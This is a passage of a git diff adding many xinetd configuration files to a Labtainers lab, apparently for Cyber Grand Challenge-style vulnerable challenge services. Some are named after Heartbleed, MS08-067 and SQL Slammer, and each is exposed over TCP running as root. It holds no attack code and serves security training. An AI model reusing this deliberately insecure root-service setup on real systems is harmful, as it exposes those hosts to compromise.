b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/overflow_parking new file mode 100644 index 000000000..79b4c7852 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/overflow_parking @@ -0,0 +1,11 @@ +service overflow_parking +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Overflow_Parking + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pac_for_edges b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pac_for_edges new file mode 100644 index 000000000..7fe4a3429 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pac_for_edges @@ -0,0 +1,11 @@ +service pac_for_edges +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Pac_for_Edges + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_analyzer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_analyzer new file mode 100644 index 000000000..6a8dd5761 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_analyzer @@ -0,0 +1,11 @@ +service packet_analyzer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Packet_Analyzer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_receiver b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_receiver new file mode 100644 index 000000000..d64234945 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/packet_receiver @@ -0,0 +1,11 @@ +service packet_receiver +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Packet_Receiver + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome new file mode 100644 index 000000000..2eca7eb39 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome @@ -0,0 +1,11 @@ +service palindrome +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Palindrome + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome2 new file mode 100644 index 000000000..93d93036b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/palindrome2 @@ -0,0 +1,11 @@ +service palindrome2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Palindrome2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/parking_permit_management_system_ppms b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/parking_permit_management_system_ppms new file mode 100644 index 000000000..b3703eae7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/parking_permit_management_system_ppms @@ -0,0 +1,11 @@ +service parking_permit_management_system_ppms +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Parking_Permit_Management_System_PPMS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/particle_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/particle_simulator new file mode 100644 index 000000000..7867a142b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/particle_simulator @@ -0,0 +1,11 @@ +service particle_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Particle_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pattern_finder b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pattern_finder new file mode 100644 index 000000000..d5a03abae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pattern_finder @@ -0,0 +1,11 @@ +service pattern_finder +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Pattern_Finder + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/payroll b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/payroll new file mode 100644 index 000000000..c8f461f3e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/payroll @@ -0,0 +1,11 @@ +service payroll +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/payroll + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pcm_message_decoder b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pcm_message_decoder new file mode 100644 index 000000000..91f29beef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pcm_message_decoder @@ -0,0 +1,11 @@ +service pcm_message_decoder +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/PCM_Message_decoder + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/personal_fitness_manager b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/personal_fitness_manager new file mode 100644 index 000000000..ca1eebd68 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/personal_fitness_manager @@ -0,0 +1,11 @@ +service personal_fitness_manager +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Personal_Fitness_Manager + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pizza_ordering_system b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pizza_ordering_system new file mode 100644 index 000000000..5b71a6029 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pizza_ordering_system @@ -0,0 +1,11 @@ +service pizza_ordering_system +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/pizza_ordering_system + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pkk_steganography b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pkk_steganography new file mode 100644 index 000000000..f62304d9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pkk_steganography @@ -0,0 +1,11 @@ +service pkk_steganography +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/PKK_Steganography + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/printer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/printer new file mode 100644 index 000000000..dbc712a75 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/printer @@ -0,0 +1,11 @@ +service printer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Printer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pru b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pru new file mode 100644 index 000000000..b998b755d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/pru @@ -0,0 +1,11 @@ +service pru +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/PRU + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ptaas b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ptaas new file mode 100644 index 000000000..1861ad7ee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ptaas @@ -0,0 +1,11 @@ +service ptaas +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/PTaaS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quadtreeconways b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quadtreeconways new file mode 100644 index 000000000..b204e39dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quadtreeconways @@ -0,0 +1,11 @@ +service quadtreeconways +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/QuadtreeConways + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/query_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/query_calculator new file mode 100644 index 000000000..ffc3a1a2f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/query_calculator @@ -0,0 +1,11 @@ +service query_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Query_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quietsquare b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quietsquare new file mode 100644 index 000000000..58122766e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/quietsquare @@ -0,0 +1,11 @@ +service quietsquare +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/QUIETSQUARE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ram_based_filesystem b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ram_based_filesystem new file mode 100644 index 000000000..a7c7f5acc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/ram_based_filesystem @@ -0,0 +1,11 @@ +service ram_based_filesystem +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/RAM_based_filesystem + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/reallystream b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/reallystream new file mode 100644 index 000000000..96284649d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/reallystream @@ -0,0 +1,11 @@ +service reallystream +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/reallystream + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_and_pantry_manager b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_and_pantry_manager new file mode 100644 index 000000000..05f7de549 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_and_pantry_manager @@ -0,0 +1,11 @@ +service recipe_and_pantry_manager +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Recipe_and_Pantry_Manager + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_database b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_database new file mode 100644 index 000000000..75f39e615 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/recipe_database @@ -0,0 +1,11 @@ +service recipe_database +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Recipe_Database + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rejistar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rejistar new file mode 100644 index 000000000..f78785f35 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rejistar @@ -0,0 +1,11 @@ +service rejistar +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Rejistar + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_2--mail_server--crackaddr b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_2--mail_server--crackaddr new file mode 100644 index 000000000..6ac4e6359 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_2--mail_server--crackaddr @@ -0,0 +1,11 @@ +service rematch_2--mail_server--crackaddr +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/REMATCH_2--Mail_Server--Crackaddr + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_3--address_resolution_service--sql_slammer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_3--address_resolution_service--sql_slammer new file mode 100644 index 000000000..e5c13db1b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_3--address_resolution_service--sql_slammer @@ -0,0 +1,11 @@ +service rematch_3--address_resolution_service--sql_slammer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/REMATCH_3--Address_Resolution_Service--SQL_Slammer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_4--cgcrpc_server--ms08-067 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_4--cgcrpc_server--ms08-067 new file mode 100644 index 000000000..ed7357795 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_4--cgcrpc_server--ms08-067 @@ -0,0 +1,11 @@ +service rematch_4--cgcrpc_server--ms08-067 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/REMATCH_4--CGCRPC_Server--MS08-067 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_5--file_explorer--lnk_bug b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_5--file_explorer--lnk_bug new file mode 100644 index 000000000..cdfc3d1a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_5--file_explorer--lnk_bug @@ -0,0 +1,11 @@ +service rematch_5--file_explorer--lnk_bug +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/REMATCH_5--File_Explorer--LNK_Bug + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_6--secure_server--heartbleed b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_6--secure_server--heartbleed new file mode 100644 index 000000000..2db65c63f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rematch_6--secure_server--heartbleed @@ -0,0 +1,11 @@ +service rematch_6--secure_server--heartbleed +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/REMATCH_6--Secure_Server--Heartbleed + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/resort_modeller b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/resort_modeller new file mode 100644 index 000000000..ca6bbd992 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/resort_modeller @@ -0,0 +1,11 @@ +service resort_modeller +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Resort_Modeller + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/root64_and_parcour b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/root64_and_parcour new file mode 100644 index 000000000..a2bd13263 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/root64_and_parcour @@ -0,0 +1,11 @@ +service root64_and_parcour +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/root64_and_parcour + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/router_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/router_simulator new file mode 100644 index 000000000..7b2ed6f81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/router_simulator @@ -0,0 +1,11 @@ +service router_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/router_simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rrpn b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rrpn new file mode 100644 index 000000000..4a5d06410 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/rrpn @@ -0,0 +1,11 @@ +service rrpn +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/RRPN + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sad_face_template_engine_sfte b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sad_face_template_engine_sfte new file mode 100644 index 000000000..4afc07685 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sad_face_template_engine_sfte @@ -0,0 +1,11 @@ +service sad_face_template_engine_sfte +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Sad_Face_Template_Engine_SFTE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sample_shipgame b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sample_shipgame new file mode 100644 index 000000000..fa294ff6d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sample_shipgame @@ -0,0 +1,11 @@ +service sample_shipgame +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Sample_Shipgame + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sauth b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sauth new file mode 100644 index 000000000..fa77bac1f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sauth @@ -0,0 +1,11 @@ +service sauth +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SAuth + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scrum_database b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scrum_database new file mode 100644 index 000000000..3f2f00135 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scrum_database @@ -0,0 +1,11 @@ +service scrum_database +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Scrum_Database + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scuba_dive_logging b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scuba_dive_logging new file mode 100644 index 000000000..1a2f01f0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/scuba_dive_logging @@ -0,0 +1,11 @@ +service scuba_dive_logging +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SCUBA_Dive_Logging + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/secure_compression b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/secure_compression new file mode 100644 index 000000000..34f92b1e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/secure_compression @@ -0,0 +1,11 @@ +service secure_compression +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Secure_Compression + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sensr b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sensr new file mode 100644 index 000000000..d14a2cb75 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sensr @@ -0,0 +1,11 @@ +service sensr +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Sensr + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sftscbsiss b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sftscbsiss new file mode 100644 index 000000000..126478aed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sftscbsiss @@ -0,0 +1,11 @@ +service sftscbsiss +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SFTSCBSISS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shortest_path_tree_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shortest_path_tree_calculator new file mode 100644 index 000000000..7ef9b61cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shortest_path_tree_calculator @@ -0,0 +1,11 @@ +service shortest_path_tree_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Shortest_Path_Tree_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shoutctf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shoutctf new file mode 100644 index 000000000..24c3a4f30 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/shoutctf @@ -0,0 +1,11 @@ +service shoutctf +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/ShoutCTF + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sigsegv b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sigsegv new file mode 100644 index 000000000..010a57782 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/sigsegv @@ -0,0 +1,11 @@ +service sigsegv +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/SIGSEGV + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_integer_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_integer_calculator new file mode 100644 index 000000000..b2511e34a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_integer_calculator @@ -0,0 +1,11 @@ +service simple_integer_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/simple_integer_calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_stack_machine b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_stack_machine new file mode 100644 index 000000000..018e82c78 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simple_stack_machine @@ -0,0 +1,11 @@ +service simple_stack_machine +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Simple_Stack_Machine + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simplenote b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/simplenote new file mode 100644 index 000000000..7a4d2f232 --- /dev/null +++ 